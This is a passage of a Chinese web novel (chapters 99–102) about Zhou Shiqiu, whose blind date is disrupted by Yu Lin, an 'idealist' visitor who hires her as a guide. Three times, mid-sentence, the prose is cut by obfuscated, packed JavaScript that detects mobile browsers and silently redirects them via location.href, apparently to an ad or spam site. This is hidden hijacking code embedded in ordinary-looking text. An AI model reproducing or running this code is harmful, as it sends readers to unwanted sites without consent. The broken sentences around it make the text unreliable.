周拾秋节节败退,目光愈发呆滞,齐绮在一旁忍笑忍得辛苦。 母亲又语重心长地劝说:“我了解过,这小伙子就在城外经营花圃,为人老实厚道,有时会来我这吃面,还经常帮我做事,人真的挺好。” “这么好……要不你换个老伴儿?”周拾秋厚着脸皮说道。 下一秒,就被母亲揪住了耳朵,低声骂道:“你这小丫头,就知道说笑,妈在跟你说正事呢!你们可以先接触看看嘛。我还旁敲侧击过,他对进化者的看法,他没有任何偏见,以后如果你们真在一起……” 母亲时刻都在为周拾秋考虑,却同时也在提醒周拾秋,她与普通人不同。 周拾秋没有再挣扎,顺从了母亲的安排。 与她相亲的人叫闻峰,在陵沪市城外经营鲜花培植基地。 那基地名叫“闻风花圃”,是凌沪市禁仿区有名的鲜花供货基地之一。周拾秋有所耳闻,只是她跟齐绮没有与这个基地合作过,因此与闻峰并不相识。 今日跟闻峰一起来的女人是他的母亲,全职家庭主妇,一心都扑在儿子身上。 周拾秋有些尴尬地陪母亲坐到相亲那一桌。 “先接触看看吧,就当是了解供应商,如果有优惠,还可以为更换供应商做准备。”周拾秋在心里如此安慰自己。 正当四人相互交谈了解之时,面馆角落里一位客人突然站起身,走到桌旁,对母亲说道:“老板,麻烦再来一碗牛肉面。” “诶,好嘞,小伙子先坐会儿。”母亲急忙起身招呼客人,笑容满面地说,“没想到我家的面还挺合你口味,都吃了两碗了,还吃得下吗?” “嗯,这味道我很喜欢,想多试几种浇头。” 客人语气轻松地跟母亲攀谈两句,便又回角落坐下。 本是一件十分普通的事,可店里所有人的表现都有些异样。有人窃窃私语,有人眼神怪异…… 闻峰母亲意有所指地说:“呵,你妈这个人就是太随和了,对谁都好。” “理想者也没什么不同,都是客人罢了。”闻峰打断道。 此刻周拾秋根本没在意两人在说什么,虽然刚才那客人站在她身后说话,没看见人长什么样,可那声音她听过太多遍,不可能忘掉。 周拾秋全身僵硬,想要回头看看,又心中惶恐。齐绮此刻也是目瞪口呆,与周拾秋不同,她正直勾勾地盯着角落里那个位置。 坐在角落里那位客人,是与整个空间格格不入的理想者,又长又厚的围巾在脖子上绕了几圈,吃面都不摘掉皮手套。 一碗面上桌,庾林浅笑着道了声谢。 母亲重新回到周拾秋身旁坐下,闻峰母亲立马打探起那位奇怪的客人。 母亲毫不在意,坦然道:“就是位游客,有次偶然路过我家面馆,打包过面,觉得好吃,就又来了,小伙子还挺热心。” “自由区的家伙怎么还往这里跑……”闻峰母亲嫌弃地瞥了一眼庾林,嘴里嘟囔。 “哎,不重要。”母亲敷衍一句,又转对闻峰说,“我们家小秋开花店,平时就爱鼓捣花花草草,要不明天你带她去你花圃看看?都是年轻人,多走动走动。” 闻峰点头接话:“嗯,我正这么想,不知道周小姐有没有兴趣?” 一道期待的目光投射过来,周拾秋正在发呆,身旁的母亲暗中用手肘戳了她一下,她才回过神,尴尬地笑道:“啊,花,挺好的。” “这孩子,一天天脑袋里不知道装了些什么,哈哈哈,你们别介意。”母亲打着圆场。 闻峰很客套地讲了几句场面话,很是符合母亲的心意。 最终两人交换了联系方式,约定明日去花圃散心,然后闻峰便识趣地带着母亲离开了面馆。 这场仓促的相亲总算落下帷幕,周拾秋站起身,扭头朝角落望去,恰好对上了庾林似笑非笑的眼睛。 周拾秋没有接近庾林,转而与齐绮坐到了一起。 浑然不觉有事发生的母亲为两人张罗了吃食,接着继续打理生意。 说来也奇怪,庾林除了吃面,再没有别的动作。当真像极了只是来解决晚饭问题的过路人,甚至没表现出与周拾秋相识。 可等到周拾秋和齐绮都解决完晚餐了,庾林那一碗面还没吃完。 他几乎是一根一根往嘴里送,像是吃不下了还在硬撑。 “你还是去看看吧,别撑死在店里。”齐绮劝道。 无奈之下,周拾秋这才走到了庾林面前,双手环在胸前,居高临下,冷声问道:“你打算吃到什么时候?” 恰在此时,母亲看见走了过来,一掌拍在周拾秋后背,骂道:“你干嘛呢?打扰客人用餐。” “嗷,疼……我帮你看看客人是不是吃饱了撑着走不动道……”周拾秋反手摸着后背,一脸委屈。 “怎么说话呢……” 母亲抬手又想掌嘴,被周拾秋敏捷地拦了下来。 庾林故作一副大度的模样,说:“没事,贵千金挺活泼可爱,我刚想问问她附近有什么可玩的地方。” “哦,就你一个人吗?”母亲略表意外。 话没有明说,可言下之意庾林自然明白,一个理想者到禁仿区旅游,属实有些奇怪。庾林只是淡然一笑,道:“嗯,我一个人出来散心,自由区难免会碰上熟人,来这里没有这种烦恼。” “有道理,你还挺会选,我们这儿能玩的地方多了去了。”母亲热情搭话。 庾林瞥了周拾秋一眼,顺势问:“我打算在这里住段时间,可人生地不熟,想花钱雇个导游,带我四处逛逛,老板有认识的人可以介绍给我吗?” “逛什么逛,吃完面赶紧回你们自由区,当心让人贩子拐了……” 周拾秋不客气地怼了一句,随即便被母亲堵上了嘴。 “你是不是很闲啊!”母亲恶狠狠地瞪了她一眼,眼神似乎在责怪她歧视理想者,转头又对庾林展露笑颜,“呵呵,我家丫头有些迂腐,你别介意啊。” 庾林看似很有涵养地温柔一笑,语气中略带悲伤:“没关系,来这儿之前我就做好不受待见的心理准备了。” 瞧他装模作样的德性,周拾秋眼底都快蹦出火星子了。 假,实在是太假了。 她以前怎么没觉得庾林这么会演戏? “你别听他胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15168913|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说……” 周拾秋掰开母亲捂嘴的手,高声发泄着不满,但话还没说完,母亲的几根手指就落在她唇上,疼得她赶紧后撤躲避。 “就你话多。”母亲低声训斥一声,转而对庾林说,“哎,年轻人别这么悲观!正好我女儿和她朋友也回家玩几天,要不你们三人结伴,相互有个照应不是?” “好。” “不行!” 庾林和周拾秋几乎同时出声。 母亲无视了周拾秋的拒绝,转头问齐绮:“绮丫头,你没问题吧?” 她这话与其说是在问齐绮是否愿意给人当导游,不如说是在给齐绮递话,让她别表现出对理想者的歧视。 齐绮很自然地接收到讯号,看似随意地耸了耸肩,说:“我无所谓,反正我也是游客,只管点十秋跟随,她不介意就成。” 母亲听罢笑道:“那就这么定了,你啊就放心跟着她俩,没人能把你拐走。” 周拾秋见势不妙,赶紧变换攻势,“哎呀,妈,你不是让我相亲嘛,我哪儿有时间当导游?” “哼,你能听话好好相亲,信你就不是你妈了。”母亲锐利的眼神从周拾秋脸上扫过,随即轻声细语对庾林说,“这孩子明天跟人约了去花圃,我还担心她会放对方鸽子,就麻烦你做个监督,跟她一道去。” 周拾秋忙说:“要啥监督啊,绮绮明儿跟我一道去,有没有放鸽子,你问绮绮不就知道了。” “呵,绮丫头哪次不是帮你说话。”母亲无情拆穿。 事情到此没了转圜的余地。 庾林像个没事人,作壁上观;周拾秋争不过母亲,只得认命。 奈何心里气不过,周拾秋灵机一动,改了策略,清了清嗓子,一脸高冷地俯视着庾林,说:“行吧,做导游也可以,雇导游的费用得提前结清。” “多少钱合适?”庾林问。 周拾秋心里掂量着如何敲庾林一笔,竖起了两根手指。 “两百万?”庾林平静地问。 此话一出,周拾秋反倒遭了无妄之灾,母亲揪着她胳膊就是一顿打,嘴里骂道:“你这丫头,哪里学的敲诈做派?我们平时怎么教你的,还跟人漫天要价了……” 不知这是周拾秋与母亲打闹的常态,庾林下意识起身阻拦,刚伸手,就被周拾秋眼疾手快扣住了手腕。 周拾秋轻轻一推,将庾林推回座位上,并用眼神警告:你不要命啦? 她哪敢让庾林出手,一个不小心,万一在店里昏死过去,她母亲的店就不用再开下去了。 周拾秋解决了庾林那边,又钳制住母亲的双手,委屈巴巴地说:“你别听他乱说,我说的是二十万。” “你之前就是这么攒钱的……” 母亲看她的眼神中写着八个字——痛心疾首,失望至极。 周拾秋赶紧改口:“啊,口误,两万。” 母亲面色有些难堪,低声问:“你别看对方是理想者,就想着敲上一笔,给我们守旧者丢脸……” “两千,不能再少了,外面找个导游都不止这个价了。” 母亲神色总算缓和,转而客气道:“别介意啊,这丫头平时就爱胡闹。” “没关系,其实多少钱都无所谓。”庾林有些尴尬。 母亲说:“家里再也有钱,也不该乱花啊。我们禁仿区更不是宰客的地方,别坏了你对这里的印象。” “嗯,明白。”庾林一副受教的模样。 只有周拾秋觉得,她妈对庾林这个外人是不是太好了点。不知道庾林给她妈灌了什么药,害她只能被迫接受安排。 不过接下来,她就弄清楚缘由了。 庾林吃完面也不走,还帮忙在面馆里干活,一副指哪儿打哪儿的听话模样,很是讨母亲欢心。后来跟父亲打听,才知道庾林一大早就来了面馆,在面馆干了一整天的活。 周拾秋问父亲:“一个陌生人突然跑来干活,你不觉得有古怪吗?” 父亲说:“有啥古怪的?我们这穷乡僻壤,店里也没什么宝贝,他能图什么?以前他路过这里一次,买了面,还帮我们收拾摊子,人挺好的。说不定,理想者中,也有天生善良的人吧。” 听着父亲一脸赏识的赞叹声,周拾秋有口难言。 你们店里是没什么宝贝,家里有个宝贝让人惦记上了啊! 100. 第100章 庾林这一招,实在是高,周拾秋属实没想到,居然绕过她,先讨好她父母。不知是何等魅魔,能将她父母迷惑至此,对他简直句句夸奖,处处维护。 结束一天的经营,庾林一直留到将店里收拾干净,才与周拾秋一家还有齐绮一起走出面馆。 父母随即问了庾林去处,才知他还没找到住的地方。 母亲当即表示要带庾林到附近找旅馆,毕竟因为两区之间的矛盾,像滨山区这样的小地方,要找一家肯收留理想者的旅馆,不是那么容易的事。 将轮椅交到周拾秋手里,母亲就准备动身,却被周拾秋拦了下来。 “你跟爸先回家休息,不就是找旅馆这种小事,我去更快些。”周拾秋一脸无奈地提议。 “你去?”母亲看了看周拾秋,又看了看庾林,脸上不禁浮起一丝担心。 周拾秋一脸得意地摇着母亲的胳膊,调侃道:“哟,刚才还让你宝贝女儿给陌生人当导游,现在知道关心你宝贝女儿的人生安全啦?” 母亲不留情面地回答:“我是担心你把人家小伙子拐到什么地方卖了!” “呵呵……”周拾秋嘴角抽搐。 全程看戏的齐绮在一旁捂嘴偷笑,被周拾秋瞪了一眼,便收敛笑容,帮忙劝道:“放心吧,我们十秋收了钱还是很靠谱的,你就让她去得了。天这么冷,你跟叔叔赶紧回吧。” 还是齐绮的话管用,母亲终于松口,将找旅馆的事交给了周拾秋。 滨山区的夜晚很宁静,晚上10点后,店铺基本全关了门,路上许久都遇不上一个行人,只有暖黄色的路灯照明。 周拾秋和庾林并肩走在路上,脚下的影子统一着步调,气氛平和。 慢悠悠地走了一会儿,周拾秋才借着咳嗽开了口:“你怎么找到这儿来的?” 唯一的知情人是齐绮,这几天周拾秋一直监视着齐绮的手机,没发现庾林与齐绮联系。那庾林怎么会突然出现在面馆?总不能真是来旅游,碰巧撞上吧? 庾林说:“导航记录还留着这个地址。” 失算,周拾秋全然忘了还有这回事,上次在林月山吹夜风,她临时起意,导航去了一周面馆。 “可你怎么知道我回老家了?告示上只写了外出度假啊。”周拾秋质疑。 庾林听到这个问题低头笑而不语,被周拾秋手肘撞了一下,才带着歉意收敛了笑容。 “乌鸦小姐是不是又忘了,读心能力还没解决。”庾林提醒。 “所以呢?”周拾秋皱着眉。 庾林淡淡答道:“在你付诸行动前三天起,脑子里就生出了逃离和回家的欲望,我一直在等,看你哪天会真的逃走。” 即便知道庾林能看穿她的心事,周拾秋还是故作轻松地嘴硬道: “逃什么逃,我就是想回家了不行吗?说得好像我怕了你似的。” 庾林听了她的话,语气平淡地说:“嗯,你不怕,是我怕你跑了。” 周拾秋并不善于应付庾林的坦诚,她更习惯庾林跟她不对付,嘴上时刻想要争个输赢。对于坦诚的话,她反而不知道该如何回应了。 更决绝的拒绝吗? 会不会太残忍了? 脑中不时浮现这样那样的想法,让她没法像以前那般洒脱、任性妄为。 于是一阵沉默后,周拾秋果断调转话头:“走快点,前面就有旅馆,把你安顿好,我得回去休息了。” 大概走了一条街,周拾秋带着庾林走进了巷子里的一间旅馆,设施陈旧,装修简陋,只能算个落脚地,并不适合讲究的人。 滨山这小地方,总共就没几家大酒店,毕竟有钱人不往这儿走,自然少有投资商往这地方下注。 周拾秋家附近只有类似的小旅馆,为偶然到此找不到房子住的人提供便利,胜在便宜。 旅馆前台坐着个老头,眼镜快滑到鼻尖,双手抱着手机,看着什么喜剧片,外放的声音开得很大,不时混杂着老头夸张的笑声,形成噪声污染。 周拾秋敲了敲柜台,引起老头注意。 老头抬眼,往上扶了扶眼镜,不耐烦的眼神从周拾秋移向庾林,接着又垂眼继续看剧,轻飘飘地回了一句话:“宠物和理想者不得留宿。” 老头的反应在意料之中,理想者想在禁仿区办理入住,无疑会遭受这样的刁难。 “啪——” 一声巨响震得老头浑身一颤,鼻梁上的眼镜差点被他抖落,他急忙抬手扶住眼镜腿,视线从手机上挪开,并顺手按住电源键,熄灭了手机屏幕。 嘈杂的声音顷刻消失,老头也抬起头来,周拾秋这才从柜台上收回手,藏到身后抖了抖。 刚才情急之下,周拾秋一巴掌拍在了柜台上,震慑住老头,也震得她手掌红肿。 人,多是欺软怕硬的性格。 周拾秋冷着脸,冲着老头吼道:“加一百。” 老头坐直了身子,虽没方才那般气焰嚣张,却仍有些死咬不放。 “理想者不得留宿。”老头坚持道。 周拾秋嘴里发出“啧”的一声响,随即改口:“加两百!” 老头回:“日结,先付后住。” 周拾秋转头,得意地冲庾林抬了抬下巴,说:“250,交钱。” 庾林交钱后,一把带着挂牌的钥匙被扔到了柜台上。 周拾秋拾起钥匙,冲庾林招了招手,带着他绕过前台走向了楼梯间,按照挂牌上的房号上了2楼,打开了206房间。 一个不过20平的标间,装修简单,一张床,两个床头柜,一个衣柜,一张圆桌,两把椅子,一台电视,已是房中所有。 好在打扫还算干净,自带独立卫浴间,勉强凑合。 周拾秋进屋转了一圈,随意解释道:“原本这里50一天,因为你是理想者,所以房费涨了四倍,不过能看在钱的份上收留理想者的旅馆不多,你只能认了。” 庾林并不在意多付房费之事,至于房间条件,也就进门时微微皱了皱眉,片刻后,就认命般随遇而安了。 他用手拍了拍床,坐下说了声“还行”。 周拾秋见状笑道:“到这儿来受苦,何必呢?如果实在受不了,可千万别硬撑,明早天一亮,赶紧回家。” 庾林面不改色,没有接话,低头拿出手机点了几下。不一会儿,周拾秋就听见手机提示音,拿出来一看,两千到账。 “你……”周拾秋差点想骂人。 庾林语调毫无波澜地说:“明早见,导游小姐。” 气人,还是庾林有一套。 “好!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175308|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周拾秋咬牙切齿地挤出一个违心的微笑,将房间钥匙抛给庾林,转身走出房间,关门时突然想到什么,叮嘱道,“对了,你关好门,早点睡,别到处乱跑,这种小旅馆挺多小广告,你别好奇乱打电话。” “嗯?” 庾林生出一丝疑惑,刚想开口询问,却看到周拾秋一脸坏笑,眼睛里的画面不堪入目,话刚到嘴边就被他咽了回去。 房门闭合前,周拾秋看到了庾林错愕与惊慌的脸,知道计谋得逞,瞬间心情舒畅,蹦蹦跳跳离开了旅馆。 回家在楼下碰到兼职打工回来的周予夏。 一见面,周予夏就关心起姐姐的八卦,也不知他从哪儿听说了周拾秋被安排相亲的事,对着周拾秋就是一番嘲笑。 玩笑归玩笑,等笑过了,周予夏又别扭地安慰道:“姐,交不交男友,结不结婚,你看心情就行,爸妈的想法不用放心上,他们太在意你,有事难免想得多了些。” 周拾秋傻笑两声,心里直犯嘀咕:麻烦的哪里是相亲! 闻峰这人还能发展成供应商,那个从自由区追到禁仿区的人,总不能发展成投资商吧? 她一时也不好告诉家里人这件事,只得重重叹口气,“啰嗦,你姐是什么人你还不知道吗?我能让自己受委屈?看不起谁呢!你呀,管好自己就行,等毕业,相亲的人就是你了!” 知道周拾秋就爱嘴上逞强,周予夏无奈地笑了,“知道,我们家就属你最能干!半年来,全靠你一人负担家里债务,辛苦了,看你都……” 一个“瘦”字还未脱口,周予夏扫了一眼周拾秋红润饱满的脸颊,硬是转了个弯,“胖了,心理压力一定很大吧?” 下一秒,便被周拾秋一路追打。 一直追到家门口,两人这打闹才算告一段落。 周予夏收起玩笑话,一脸严肃地说:“放心吧,等我毕业了,一定好好工作,不让你和爸妈这么累。以后你嫁不出去,我也可以养你。” 前一句,周拾秋还挺感动,觉得自家弟弟长成大人了,还懂心疼人了;后半句,她怎么听怎么觉得刺耳,有种被暗中嘲讽的感觉。 周拾秋抬手拨乱周予夏的头发,故意刁难说:“那你可得找个赚钱的工作哟,你姐我可不是那么好养的。” 周予夏看似很在意形象,一边往边上躲,一边不客气地挡住周拾秋的手,反击道:“我就不该多这一嘴。” “说回来,你毕业到底打算干啥?总不能去当危代人吧?”周拾秋严肃质问。 听这么一问,周予夏瞬间安静下来,一时有些失神,手搭在门把手上始终没有下一步动作。 周拾秋觉察到异样,拍着他肩膀问:“怎么了?没想好就没想好呗,没什么大不了。” 周予夏突然转过头,似是下定决心,眼神坚定地回答:“姐,我想加入进研所,我想更了解进化者。” 这句话彻底惊了周拾秋,她瞪大双眼盯着周予夏,故意装傻。 “哦,打入敌人内部是吧?我弟果然很有想法!” 其实周予夏不说,她也知道,她这个弟弟,从小就有一个愿望。 希望有一天能改变世人对进化者的看法。 希望有一天进化者也可像普通人一样,自由地沐浴在阳光之下。 101. 第101章 当清晨的阳光赋予大地新的色彩,滨山区从冷清中复苏,路上的行人多了起来,各自为了生计奔波。 一周面馆早已开始忙碌,而一组奇怪的组合正在店中集合。 闻峰如约而至,来接周拾秋去花圃,但同行之人除了周拾秋的闺蜜,还多了一位来自自由区的理想者。 或许因为花圃生意常与各种人打交道,闻峰见状还算镇定,热情而客套地招呼三人一起出发。 于是与周拾秋父母道别后,周拾秋、齐绮和庾林便坐上闻峰的车出了城。 “之前网上有不少流言,两区年轻人激进派不在少数,一次遇上三个不带偏见的朋友,我还挺意外。”闻峰一边开着车,一边打破沉默。 庾林默不做声坐在副驾座上,浑身散发出低气压,对闻峰的话充耳不闻。 周拾秋瞥了一眼庾林,笑道:“也不是没有偏见吧,只是谁会跟钱过不去呢?这位大哥花钱找导游,有钱没理由不赚。” 话音刚落,身旁的齐绮就偷偷掐她大腿,眼神带着点劝她少惹事的意味。 闻峰却附和道:“那我们想法还挺像。” “像什么像,你也贪财?”庾林突然冷笑一声。 闻峰有些难堪,表情尴尬地解释:“别误会,我只是说一视同仁,不带任何偏见,没有别的意思,周小姐应该跟我一样。” 周拾秋早就习惯了庾林对她贪财的评价,根本不会在意。可闻峰并不认识庾林,自然会觉得是因为自己的表达多少有点认钱不认人的味道,让庾林产生误会,进而害周拾秋也被认为贪财。 见闻峰努力解释的模样,周拾秋不由得产生一丝同情,敲了敲副驾座椅,低声警告:“别欺负老实人。” 庾林回头看了一眼,脸上露出一丝不悦,想了想,对闻峰说:“可能是你误会了,我想说如果你是为了钱而对理想者一视同仁,那跟周小姐不同,她可不是为了钱才答应做导游。” “是吗?那应该是周小姐心善吧。”闻峰适时地夸赞。 周拾秋难得被人夸奖,很是受用,冷冷瞥了一眼庾林,然后笑道:“嘻嘻,闻先生真会说话。” 结果下一秒,周拾秋就对上庾林眼中意义不明的笑意,看得她心头一紧。 预感不妙,莫名的直觉告诉她,庾林又打什么鬼主意了。 果不其然,庾林漫不经心地接过话头,说:“心善吗?这个我不清楚,不过她应该是看……” 话音未落,后座的周拾秋双手绕过座椅头枕,十指交叠捂住了庾林的嘴,后面的话全部化成了“呜呜”声。 闻峰被周拾秋的举动吓了一跳,一边开着车,一边分神不住地往副驾座上瞅。 “呵呵,我能看上什么呀,就是好心帮个忙罢了。”周拾秋干笑着辩解,又在座椅背后低声警告庾林,“你别胡说,破坏我形象可是要赔偿的!” 在周拾秋看来,庾林不说贪财,大概率又想说她好色了,这种大实话她怎么可能让庾林说出口。 “我想也是。” 闻峰随声附和,可眼神中多了一丝异样。 庾林一直用手轻拍着周拾秋的手背,示意她松手,可周拾秋害怕他多嘴,死活不放。 齐绮终于看不下去,抓住周拾秋的胳膊,强制她收回手,提醒道:“你再不松手,这车上怕是要出人命了。” 周拾秋这才注意到前座的庾林整张脸都憋红了,层层叠叠的围巾,加上周拾秋的手掌,庾林是真的呼吸不畅。 庾林往前弓起身子,松了松围巾,大口呼吸,总算喘过气来。 “呃……我不是故意的。” 周拾秋手足无措,一脸歉意。 庾林呼吸平稳后,坐起身,转过头来,脸上却带着得意的笑,“周小姐这么激动干嘛?我是想说,你之所以答应当我的导游,是看在你母亲的面子上。周小姐想成啥了?” 故意的,庾林一定是故意的! 庾林的眼神中,分明透着点捉弄的味道,显然也看穿了她的误会,虽然这误会是他刻意引导。 周拾秋不好当着闻峰的面,直接咒骂庾林,那样似乎暴露她想歪了,只得挤出一个笑,点头附和:“没想啥啊,就跟你想的一样,都是看在我妈面子上。” 闻峰说:“嗯,阿姨一向心善,对谁都好。” 周拾秋预感,有庾林跟着,今天一天恐怕轻松不了了。 半小时后,四人抵达了城外的闻风花圃,由闻峰亲自带领,入园参观。 一踏入基地大门,各类鲜花散发的香气便混合在一起,随着风飘进了众人的鼻腔。 基地中,分区域种植着品种繁多的鲜花,一进大门,就仿佛进入了另一个色彩缤纷的世界。其中还有许多间温室,培养着对温度要求更苛刻的品种。 闻峰带着三人走入一间间温室,在纵横交错的过道里行走,两旁摆放着爬满花草的花架子。 在这个如同鲜花展览馆一样的空间里,闻峰细心地为三人做着介绍。 走了没多久,认真听讲的人就只剩齐绮了,闻风花圃培养的品种比她们的供货商更加丰富,齐绮忍不住打听起合作事宜。 齐绮和闻峰聊生意聊得起劲,周拾秋和庾林落在后面,早就心不在焉了。 庾林漫步于花房中,一边赏着花,一边低语:“拒绝我那么干脆,对别的人倒是可以相处看看?” “你不是说了嘛,我都看我妈脸色行事。”周拾秋回怼。 “要我跟你母亲说实话?”庾林问。 周拾秋讥笑:“你以为我妈不排斥理想者,就能接受理想者做女婿?别太天真了,这是两回事。” 庾林:“那得试试才知道了。” 周拾秋:“喂,你别乱来,我才不是什么都听我妈的。” 庾林:“慌什么,开玩笑而已。” 周拾秋:“你最好是!” 庾林:“不全听你母亲的,还来相亲?” 周拾秋:“为了生意,你懂啥!” 庾林:“你也最好是。” 恍惚间,周拾秋感觉又回到不久前,虽然表白被拒的结果没有改变,但两人的相处方式又回归了从前,庾林依然是那副嘴上不吃亏的讨厌模样。 这种相处却让周拾秋轻松不少。 这场相亲最终以齐绮和闻峰达成初步合作协议为终结。 到后面,闻峰似乎都忘了跟他相亲的人是周拾秋,反倒与齐绮聊生意聊得起劲,逛了一上午,还要请齐绮到附近吃个便饭继续聊。 作为相亲对象的周拾秋被晾到一旁,插不上嘴, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180202|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和庾林一起被当成了挂件。 庾林见状不忘补刀:“今天这相亲算是失败了吧?” 总觉得庾林有几分幸灾乐祸的味道,周拾秋原本未将相亲当一回事,可听了他的话,总有种输了的感觉,这让她十分不爽。 吃过午饭,闻峰开车将三人送回了面馆。 看到女儿回来,母亲忙里偷闲打探周拾秋对今日相亲对象的看法。 周拾秋苦笑:“比起你女儿,那人好像对谈生意更感兴趣。” 齐绮则打抱不平一般无情拆穿道:“你女儿,比起相亲,对当导游更感兴趣。” “嘿,你怎么胳膊肘往外拐?” 周拾秋从背后掐着齐绮的腰,半威胁半打闹。 没嚣张两秒,周拾秋就被母亲拎住了耳朵,低声训斥。 庾林想拦,却又碍于心病,不敢贸然插手,只得站在一旁好言相劝。 混乱的场面终于在一位客人的点餐声中结束,周拾秋赶紧趁着母亲没空管她,拉上齐绮和庾林就开溜。 庾林说:“导游小姐,接下来打算带我去哪儿?” 周拾秋一脸困倦,打着呵欠,“我还没想好呢……吃饱了有点困,要不先睡个午觉,等我想好了再联系你?” 庾林一副盛气凌人的模样,双手环在胸前,指尖在胳膊上有节奏地轻点,挑了挑眉,用拷问一般的眼神凝视着周拾秋,“导游费这么好赚?” 周拾秋被盯得有些心虚,伸手去拉齐绮当挡箭牌,却抓了个空。 齐绮敏捷地闪身到一旁,带着一脸坏笑,说:“导游费可没进我口袋,我要回去睡午觉了,电灯泡我才不做呢。” “绮绮!” 周拾秋哀怨的叫声没能唤回齐绮这根救命草,只能眼睁睁看着齐绮溜之大吉,留下她一人面对。 本想着做导游一事只是庾林随便说说,让他在小旅馆住一晚,就能打消他继续留下的想法,所以周拾秋根本没做任何准备。 谁知这家伙一大早就神清气爽地出现在一周面馆,厚着脸皮跟她一同去相亲。那理直气壮的样子,透着一股“让干爹帮你把把关”的离谱。 毕竟已经收了导游钱,周拾秋自知理亏,此刻只能掏出手机临时抱佛脚,在搜索引擎里输入“滨山区必去打卡点”。 搜索出来的东西还真不少,密密麻麻的结果中,周拾秋被一个热门推文吸引了视线,标题写着【情侣到滨山区必做的十件事】。 周拾秋刚想点开看看,一只手突然伸过来,按在了手机电源键上。 屏幕熄灭,黑色的屏幕上倒映出周拾秋和庾林的脸,一个满脸惊讶,一个面不改色。 “干嘛?我找旅游攻略喃……”周拾秋吼道。 “导游小姐演都不演了,当着客人的面敷衍了事。”庾林夺过周拾秋的手机,顺手放进了周拾秋的衣兜,脸上带着笑意说道,“今天不用你想了,陪我去看场电影。” 说罢,抓住周拾秋的手腕,就往路边停着的车走。 周拾秋没有挣扎,任由庾林拉着,一头雾水却顺从地上了车。 禁仿区的电影对理想者吸引力有这么大吗?旅游看电影合理吗?这电影非看不可吗? 脑中闪过无数问题,还未得出答案,庾林已经开车驶离了这条街。 102. 第102章 这是一间设施陈旧的电影院,名字叫做“未来电影城”,破破烂烂的模样,实在有点名不副实。 纵然环境毫无卖点,可里面依旧聚集了不少观影者,并且不知怎的,观影者中情侣的成分似乎高了些。 庾林不知道何时订好了电影票,独自取了票,又挤进人堆购买爆米花和汽水,全程看得周拾秋贼紧张。 见庾林安然无恙回到面前,周拾秋忍不住唠叨:“你是不是忘了自己有病?” “你不提醒的话,我还真觉得自己挺好。”庾林说着将一桶爆米花塞进周拾秋怀里,自己则拿着一杯汽水。 周拾秋一时不知说他什么好,转而看向庾林另一只手里的电影票,警惕地问:“不会又是恐怖片吧?” “很遗憾,不是。”庾林举起电影票在周拾秋眼前晃了晃,“但如果你想看恐怖片的话,我也可以现在去换掉。” “你是不是跟我有仇?” “怎么会?” 庾林露出灿烂的笑容,周拾秋却只想在上面印上两个掌印。 这家伙,一定是故意的。 好在电影确实不是恐怖片,而是喜剧片。就是满座的影厅让周拾秋有些焦虑,每次一有人靠近二人附近,她就下意识坐直身子,伸直手臂,抓住庾林另一边的扶手,将庾林护在身后。 反复几次,庾林见状笑了,将那杯汽水塞到周拾秋的手里,又挥了挥戴着手套的手,低声说:“别紧张,保护措施已有。” 周拾秋并没有因此放松警惕,她看着庾林的脸,皱了皱眉,最终放下汽水,取下庾林脖子上的围巾,像裹木乃伊一样,裹住了庾林的脑袋,只给他的眼睛和鼻子留下一个缺口,方便他呼吸和看电影。 “保镖小姐真贴心……”庾林阴阳怪气地感叹。 周拾秋强忍着偷笑的冲动,拍着庾林的肩,一本正经地说道:“谁让你选了这么多人的场次呢?我这也是无奈之举,委托人的安危最重要,你就忍忍吧。” “不是我选的场次太挤,是这间影厅场场满员。”庾林说。 “啊?放什么电影这么火爆啊?”周拾秋愕然,拿起票根看了又看,上面喜剧片的名字平平无奇,她根本没听说最近这部电影很出圈。 庾林笑而不语,周拾秋则开启了“评论家”模式,打算看看这部电影有什么吸引人之处。 可惜,这部喜剧电影平平无奇,开始周拾秋还跟着笑两声,后来一桶爆米花吃完,周拾秋终于被饱困打败,迷迷糊糊就睡了过去。 耳朵里隐隐约约还响着欢乐的音乐和逗趣的台词,偶尔穿插观众的笑声,周拾秋的意识却早就不知道飘到那里去了。 她仿佛躺回柔软的床上,抱着散发出阳光味道的枕头,悠哉地睡了一觉。 一切烦恼似乎终于离她远去…… 这一觉她睡得很香,梦见齐绮买了块蛋糕,笑盈盈地走进房间,将蛋糕摆到床边。香甜的气息在房间里弥漫开来,齐绮摇着她的身子,唤她起来吃蛋糕。 她困得睁不开眼,迷迷糊糊对齐绮说:“不急,等我睡醒了再吃。” 可齐绮并没依言停止摇晃,这一晃,就把周拾秋给晃醒了。 